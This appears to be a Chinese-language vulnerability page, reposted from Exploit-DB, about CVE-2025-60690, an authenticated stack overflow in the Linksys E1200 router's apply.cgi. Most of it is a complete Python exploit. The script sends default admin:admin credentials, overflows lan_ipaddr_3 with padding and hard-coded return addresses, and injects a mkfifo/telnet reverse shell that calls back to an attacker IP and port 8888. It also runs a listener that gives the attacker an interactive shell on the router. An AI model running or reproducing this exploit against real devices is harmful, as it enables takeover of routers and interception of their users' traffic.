[hardware] Linksys E1200 2.0.04 - Authenticated Stack Buffer Overflow (RCE)

CVE-2025-60690

Linksys E1200路由器apply.cgi存在认证后的栈缓冲区溢出,可导致远程代码执行。

High · CVSS 8.8

📋 漏洞基础信息

CVECVE-2025-60690
漏洞类型栈缓冲区溢出(Authenticated Stack Buffer Overflow)
受影响版本Linksys E1200 固件版本 <= v2.0.04
危害等级High · CVSS 8.8
发布日期2026-05-04
提交者JarrettgxzSec
来源Exploit-DB 原文 ↗

🔬 漏洞根因

在/apply.cgi处理HTTP POST请求时,对'lan_ipaddr_3'参数的值未进行长度校验,直接将用户输入拷贝到栈缓冲区,导致溢出覆盖返回地址。

🎯 攻击场景

1. 攻击者需拥有路由器管理凭据(默认admin:admin); 2. 通过HTTP POST请求向/apply.cgi发送精心构造的payload,其中lan_ipaddr_3参数包含大量'A'填充、返回地址跳板及反向shell命令; 3. 路由器执行payload后建立反向telnet连接至攻击者IP:8888; 4. 攻击者获得路由器的交互式shell。

💥 漏洞影响

攻击者可获得路由器的远程代码执行权限,完全控制设备,用于窃听流量、发起DDoS攻击、植入后门等。

⚔️ 原始 PoC

脚本首先构造反向shell命令(删除/tmp/f、创建命名管道、重启httpd、启动telnet反向shell),URL编码后附加到data尾部; data主体固定参数后接74字节'A'覆盖栈,接着4字节地址0x2ad61ea0(返回地址跳转),再24字节'A',4字节地址0x2ad6a044,72字节'A',4字节地址0x2ad4d8fc,28字节'A',最后是payload; 发送HTTP POST请求至/apply.cgi,利用栈溢出劫持程序流程执行payload。

# Exploit Author: JarrettgxzSec

# Github repository: https://github.com/Jarrettgohxz/CVE-research/tree/main/Linksys/E1200-V2/CVE-2025-60690


import sys
import socket
import threading
import time

from urllib.parse import quote

print('[!] Please refer to the README (comments at the top of this script) to understand the affected firmware versions for CVE-2025-60690, and for which this exploit script will work on\n')

if len(sys.argv) != 3:
    print(f"[!] Usage: python3 {sys.argv[0]} <ATTACKER_IP> <TARGET_IP>")
    print(f"[!] Example: python3 {sys.argv[0]} 192.168.1.100 192.168.1.1\n")
    sys.exit(1) 

TARGET_IP = sys.argv[2]
TARGET_PORT = 80
ATTACKER_IP = sys.argv[1] 
SHELL_PORT = 8888


def start_shell_listener():
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind(('0.0.0.0', SHELL_PORT))

        print(f"[*] Listening for shell on port {SHELL_PORT}...")
        s.listen(1)
        
        
        conn, addr = s.accept()
        print(f"[+] Connection received from {addr[0]}")
        

        # allows interactive interaction
        conn.setblocking(True)
        conn.settimeout(0.5)

        while True:
            
            # send command to the router
            cmd = input("# ")
            conn.send((cmd + "\n").encode())

            # receive output from the router
            try:
                while True:
                    # keep reading until the device stops sending
                    chunk = conn.recv(4096).decode(errors='ignore')

                    if not chunk:
                        print("\n[!] Connection closed by target.")
                        return 

                    print(chunk, end="", flush=True)
                    
            # timeout decided by the conn.settimeout() method previously
            except socket.timeout: 
                # this is expected when the device is done sending text
                pass


def execute_exploit():
    print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...")


    # Construct the shell payload
    payload = "rm /tmp/f \n"
    payload += "mkfifo /tmp/f \n"
    payload += "killall httpd && httpd \n"
    payload += f"cat /tmp/f | /bin/sh 2>&1 | telnet {ATTACKER_IP} {SHELL_PORT} > /tmp/f"

    payload = quote(f" {payload}")

    # Construct the exploit payload
    data = b"action=Apply&lan_netmask=&lan_ipaddr=4&lan_ipaddr_0=x&lan_ipaddr_1=x&lan_ipaddr_2=x&lan_ipaddr_3="
    data += b"A"*74 + b"\xa0\x1e\xd6\x2a" + b"A"*24 + b"\x44\xa0\xd6\x2a" + b"A"*72 + b"\xfc\xd8\xd4\x2a" + b"A"*28
    data += payload.encode()
    
    # Construct the raw HTTP POST body
    content_length = len(data)

    http_req = f"POST /apply.cgi HTTP/1.1\r\n"
    http_req += f"Host: {TARGET_IP}\r\n"
    http_req += "Content-Type: application/x-www-form-urlencoded\r\n"
    http_req += "Authorization: Basic  YWRtaW46YWRtaW4=\r\n"
    http_req += f"Content-Length: {content_length}\r\n"
    http_req += "\r\n"
    http_req = http_req.encode() + data


    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.settimeout(10)
            s.connect((TARGET_IP, TARGET_PORT))
            s.sendall(http_req)

    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":

    # start the shell listener in the background
    listener_thread = threading.Thread(target=start_shell_listener)
    listener_thread.daemon = True
    listener_thread.start()

    # short sleep to ensure the listener is bound and ready
    time.sleep(1)

    # execute the exploit function
    execute_exploit()

    # keep main thread alive to interact with the shell
    while listener_thread.is_alive():
        time.sleep(1)

🔬 深度技术分析

脚本首先构造反向shell命令(删除/tmp/f、创建命名管道、重启httpd、启动telnet反向shell),URL编码后附加到data尾部; data主体固定参数后接74字节'A'覆盖栈,接着4字节地址0x2ad61ea0(返回地址跳转),再24字节'A',4字节地址0x2ad6a044,72字节'A',4字节地址0x2ad4d8fc,28字节'A',最后是payload; 发送HTTP POST请求至/apply.cgi,利用栈溢出劫持程序流程执行payload。

🛡️ 修复建议

升级固件至v2.0.04之后的安全版本;若暂无补丁,限制管理界面仅对受信任IP开放,并修改默认凭据。

📎 参考链接


⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-09 17:24 | 来源: Exploit-DB

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)